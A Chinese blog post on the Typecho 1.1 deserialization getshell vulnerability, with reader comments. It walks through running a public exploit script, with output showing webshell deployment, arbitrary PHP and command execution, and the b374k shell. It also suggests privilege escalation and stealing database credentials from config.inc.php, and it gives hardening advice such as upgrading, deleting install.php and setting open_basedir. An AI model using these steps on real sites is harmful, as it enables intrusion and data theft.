几天前(28 日好像是)Typecho 被爆出 getshell 漏洞,想想还是很可怕的。
漏洞复现
服务器环境
nginx/1.9.5
PHP 7.0.22
mysql Ver 14.14 Distrib 5.5.48
Typecho 1.1 (17.4.24)(好像是 1013 还是 10 月 28 日之前的都有这个问题)
有没有人想问为什么是 Nginx 1.9.5 这么老的版本吗…… 唔
利用条件:PHP 对 webroot 拥有写入权限,www 的 600 就够了。如果 Typecho 对目录没有写权限,那么…… 没得玩了。
小知识:很多人对 Linux 中文件目录权限(rwx)的理解可能是有一些偏差的,以下说明不包含 root 这个天神,root 可以无视这三个基础权限的:
对于文件来说,r 代表着能够对文件进行读取;w 代表着能够对文件内容进行更改(比如说删除一行,增加一行等等),但是 w 权限并不意味着能够删除文件;x 意味着文件可以作为可执行程序,系统不会告诉你一个 permission denied
对于目录来说,r 意味着能够对目录下的内容进行 list,比如说 ls test 这就意味着你对 test 要至少有 r 才能执行 ls;w 意味着能够对目录下的文件进行删除、创建、重命名;x 意味着能够进入该目录成为工作目录,也就是能够 cd test
可能有很多人以为,对文件有 w 权限就能删掉它了吧?不是的哦,是要对文件所在的目录有 w 权限才可以的。下面的图是一个简单的验证:
利用步骤
GitHub 开源地址
- git clone https://github.com/BennyThink/Typecho_deserialization_exploit
- cd Typecho_deserialization_exploit
- python exp.ty
之后根据提示操作,示例输出:
root@qcloud:~/Typecho_deserialization_exploit# python exp.py
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>1
Input your target, i.e:http://localhost/ty
>https://example.com
Your target url is https://example.com
shell: https://example.com/p0.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>2
1 . https://example.com/p0.php Enter your target number:
>1
Enter your PHP code:
>echo 'pwned';
pwned
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>3
1 . https://example.com/p0.php Enter your target number:
>1
Enter your system commands:
>ls
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>4
1 . https://example.com/p0.php Enter your target number:
>1
visit https://example.com/b374k.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>
成功写入 webshell,第三步执行系统命令没有回显是因为我禁用了system()
函数
由于运行 PHP 的用户是一个低权限的 non-login shell 用户 www,所以嘛…… 没有 SMB 那么爽的感觉了。当然 Windows 就没有这个说法了,说不定人品好,还有人是拿管理员运行的 PHP 呢…… 这个时候就可以有 mimikatz 了。
更进一步的玩法
只是一点点猜想,仅供参考
内核提权漏洞
通过phpinfo
拿到系统信息,去 exploit 找对应的内核提权漏洞,想办法吧 www 提权成 root
脱库与跑路
通过读取 Typecho 的配置文件config.inc.php
拿到数据库账号密码,塞满垃圾文件,脱库与跑路什么的;顺着搜搜有没有 MySQL 的什么安全漏洞可以利用、绕过。
报告给博主
对,这才是正经的嘛…… 当然了,那些连个联系方式也不留的、八百年不发一篇博文的、whois 查不到邮箱的、评论也不管的死灰一样的博客,那活该了。我也很无奈啊。
预防措施和一些建议
升级 Typecho 到最新的版本或者删除文件
升级 Typecho 到最新版本,或者删除install.php
和install
目录。暂时不能更新的,关站保平安吧。
使用 www、mysql 等 non-login shell 用户运行 Apache/Nginx、PHP、MySQL
千万不要拿 root 跑啊,这要是拿 root 跑了,那就和 SMB 漏洞是一样一样滴爽。
记得更新系统,不要使用已无支持的操作系统
EOL(End of Life)的就不要用了,没有安全更新,万一被人找到提权,那不就完蛋了吗。
举例说明,Windows XP,Windows 2003,Windows Vista,CentOS 5,Ubuntu 12.04 等等……
对于发行版来说,可以用 cron 来计划更新,比如说我是这么干的:
- 0 3 */3 * * apt update && apt upgrade -y
每隔三天的凌晨三点都会更新一波
尽可能的使用 Linux 当服务器
嗯…… 如果你用 Windows 的话,在这种情况下 webshell 就可以大显神通了……
配置 php.ini
配置open_basedir
, 不让 PHP 程序访问本身目录以外的目录,比如说我是这么配置的:
- open_basedir=/home/wwwroot/dmesg.app:/tmp/:/proc/
并且如果不需要的话,那么就禁用一些比较危险的函数,比如说system()
、exec()
别没事干就 777
除非你懂得 777 是什么意思,知道你这次的 777 有何影响。
别说 777 了,任何更改文件目录(包括 web 目录)权限的操作都要三思而后行,尤其是某些特别敏感的文件,比如说如果某人的/etc/shadow
的权限是 644(原本应该是 640),那么任何人都可以读取了……
小提示:Linux 下默认文件目录权限是怎么回事
开启 App Armor、SELinux 等
不好意思,这个我不太会玩…… 不过…… 很多人拿到一台 CentOS 都是…… 第一步…… 关闭 SELinux 的吧……
更多参考资料
总结
此次漏洞的影响还是比较大的,至少吧…… 攻击者能够拿到 webshell,再怎么也能拿到整个数据库的权限了。
哦对,trick or treat?
賢狼ホロ:? 羡慕高产(
code 里不显示可能是因为被过滤了,还是用 pastebin 吧。
chmod +x
之类的,然后......-- 偏执布偶君
签到成功!签到时间:2017-11-10 18:45:43,每日打卡,生活更精彩哦~
chmod
用 symbolic mode)这应该没什么问题吧。。。。。。(因为看文章和评论都用的数字权限编号)
签到成功!签到时间:2017-11-10 19:18:16,每日打卡,生活更精彩哦~
php_admin_value open_basedir "/storage/data/wwwroot/blog/public_html/:/dev/shm/web/blog/" php_admin_value upload_tmp_dir "/dev/shm/web/blog/" php_admin_value session.save_path "/dev/shm/web/blog/"
我的是这样的。。。tmpfs
干嘛?open_basedir
限制用户访问目录,然后禁用system
、chroot
等危险函数,去掉 webroot 对 PHP 的写入权限(一些特殊目录比如说上传目录排除)chattr +i